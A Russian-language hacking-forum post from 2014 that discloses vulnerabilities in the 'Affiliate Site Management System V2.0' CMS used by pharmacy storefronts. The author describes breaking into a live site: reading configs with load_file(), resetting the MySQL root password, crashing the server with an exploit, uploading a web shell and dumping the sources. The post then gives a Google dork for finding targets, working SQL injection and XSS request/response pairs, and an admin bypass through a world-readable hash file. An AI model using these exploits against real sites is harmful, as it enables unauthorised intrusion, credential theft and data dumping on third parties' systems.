Старый 21.11.2014, 20:43   #1
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию Обзор уязвимостей CMS Affiliate Site Management System

// Wake Up Neo The Matrix Has You (кто участвовал, тот вспомнит)
// Американская дрянь, химия, наркота... никогда мне не прельщала...

Affiliate Site Management System V2.0

История длиною в 3 года :-)

Предыстория:

Когда-то, когда трава была зеленее, деревья выше, а я моложе, некий форумчанин спамил по личкам в ожидании помощи по добыче email-аккаунтов фармокологических сайтов. Такое случается очень и очень часто, никто из тех, кто взялся за ум, уже и не обращает внимания. Но среди сайтов был один интересный тем, что когда-то я уже находил SQL инъекцию на нём. На это письмо я и нарвался пару недель назад, сортируя почту.

Тогда он меня мало интересовал. SQL подразумевала некоторую фильтрацию, куча ограничений, в бд нет таблички пользователей, даже админов нет. Как и что было делать - вообще не понятно.

Но от скуки и для студентов ради (преподаю курс Web-уязвимостей в университете), SQL была найдена, повторно проверена и всё... Ничего толком не поменялось. Было решено продолжить исследования.

Нашёл похожие сайты, сформировал dork, дыра везде одинаковая. Те же самые ограничения, кое-где дополнительная фильтрация, даже WAF кое-где... Но среди всех сайтов линейки выбивался 1 - на нём mysql работал от root, что даёт необходимые привилегии по чтению исходников CMS.

Итак, на начало исследования я имел следующие моменты:
1) Раскрытие путей до основного сайта (в SQL инъекте было сообщение о ошибке);
2) MySQL root с очень сложным паролем. От него работала CMS.
3) 1 сосед с WordPress 3.* на борту. Пасс также очень сложный.
4) MQ = on.

Вектор атаки был выбран наипростейший - читаем конфиг ВордПресса, узнаём пасс от БД. Пробуем такой же пасс на root. Ищем PhpMyAdmin и пробуем пробиться внутрь.

Конфиг был прочитан через load_file(). Пасс выдран. На основном сайте PMA был спрятан хитро, DirBuster не смог его отыскать. За то на дополнительном отыскался в стандартной директории. Авторизовался в PMA под юзером для WP, сменил пасс на WP, чтоб можно было авторизоваться. Права на папки и файлы были выставлены супер-секурно, аплоад был невозможен никуда и ни при каких обстоятельствах. WordPress был отброшен как бесполезный. Права на Load_file у юзера для WP были без привилегий на чтение файлов, зато читался mysql.user и даже вносились изменения в учётки.

Залиться через SQL было нельзя по причине включенных магических кавычек. Поэтому был сменен пасс на root, сам mysql-сервер был уронен эксплойтом от многоуважаемого Light
Код:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
Привелегии обновились, я зашёл в PMA под root.

Теперь уже можно было из консоли PMA залить мини-шелл в директорию основного или дополнительного сайтов. WP не сдался, а основной имел врайтабельные директории в глубине директив, которые DirBuster мне не показал. Решено было продолжать ковырять исходники.

И всё бы хорошо, если бы они не были накрыты IONCUBE. Пришлось искать деионкубер, расшифровывать исходники и искать необходимые директории. Наконец, шелл был залит, исходники сдамплены, цель, казавшаяся невыполнимой 3 года назад, была достигнута, а всё пиво выпито.

Отдаю вам всё что наффазил, всё таки исходники закрытых CMS, продающие всякую американскую дрянь для меня редкость, вдруг и вы что-нибудь интересное для себя найдёте.

Итак, наша цель - Affiliate Site Management System V2.0

dork: inurl:cart.htm intext:"Shipping Terms"

SQL-инъекция:

(Внимание. Все точки необходимо заменять Double URL Encode вариантом => %252e)

Request:
Цитата:
http://[host]/cart/1+or+(select+count(*)+from+(select+1+union+select+ 2+union+select+3)x+group+by+concat((select+@@versi on),floor(rand(0)*2)))--.htm
Response:
Цитата:
Error: syntax: select sql_no_cache id,ts,group_id,product_id,quantity,quantityType, notes AS notes, shipping AS shipping, dosage, dosage_type, ((price/100)*0)+price AS price, (((price/quantity)/100)*0)+(price/quantity) AS unitPrice, ((savings/100)*0)+savings AS savings FROM store_packages WHERE id=1 or (select sql_no_cache count(*) from (select sql_no_cache 1 union select sql_no_cache 2 union select sql_no_cache 3)x group by concat((select sql_no_cache @@version),floor(rand(0)*2)))-- ORDER BY quantity ASC -Duplicate entry '5.0.51a-community1' for key 1
Line: 148
File: /home/[host]/public_html/include/classes/db.php
Full Path Disclosure:

Request:
Цитата:
http://[host]/admin/application/controllers/test.php
Response:
Цитата:
Fatal error: Class 'Controller' not found in /home/[host]/public_html/admin/application/controllers/test.php on line 2
Раскрытий путей будет много, привёл всего 1 пример. Ибо и так в SQL запросе раскрывается.

XSS via SQL (SiXSS):

Request:
Цитата:
http://[host]/cart/1363<img%20src=""%20onerror=alert(10)>%253E.htm
Response:
Цитата:
<b>Error: </b>syntax: <i>select sql_no_cache id,ts,group_id,product_id,quantity,quantityType,no tes AS notes,shipping AS shipping,dosage, dosage_type,(price/100)*0)+price AS price,(((price/quantity)/100)*0)+(price/quantity) AS unitPrice,((savings/100)*0)+savings AS savings FROM store_packages WHERE id=1363<img src="" onerror=alert(10)>> ORDER BY quantity ASC</i> -You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'src=\"\" onerror=alert(10)>> ORDER BY quantity ASC' at line 28<br />
<b>Line: </b>148<br />
<b>File: </b>/home/[host]/public_html/include/classes/db.php
Private key authentication:

(Бага существует из-за того, что любой пользователь может прочитать на сервере файл, в котором хранятся пара login+pass в виде sha1(login):sha1(pass), подобрать данные и авторизоваться в Admin-панели).

Source ( /admin/application/controllers/admin.php):

Цитата:
...
function authenticate()
{
$pass_auth=explode('|',trim(file_get_contents(FCPA TH.'../data/aspas')));
$adminuser=sha1($this->input->post('ADMIN_NAME'));
$adminpass=sha1($this->input->post('ADMIN_PASSWORD'));
if($pass_auth[0]==$adminuser && $pass_auth[1]==$adminpass)
{
$this->session->set_userdata('authenticate',$adminuser);
$this->overview();
}
else
{
$this->login();
}
}
...
Request:
Цитата:
http://[host]/data/aspas
Response:
Цитата:
d033e22ae348aeb5660fc2140aec35850c4da997:d033e22ae 348aeb5660fc2140aec35850c4da997
Админка по дефолту - http://[host]/admin

Отдельно выложу исходники для изучения и пример SQL дампа.
BigBear вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot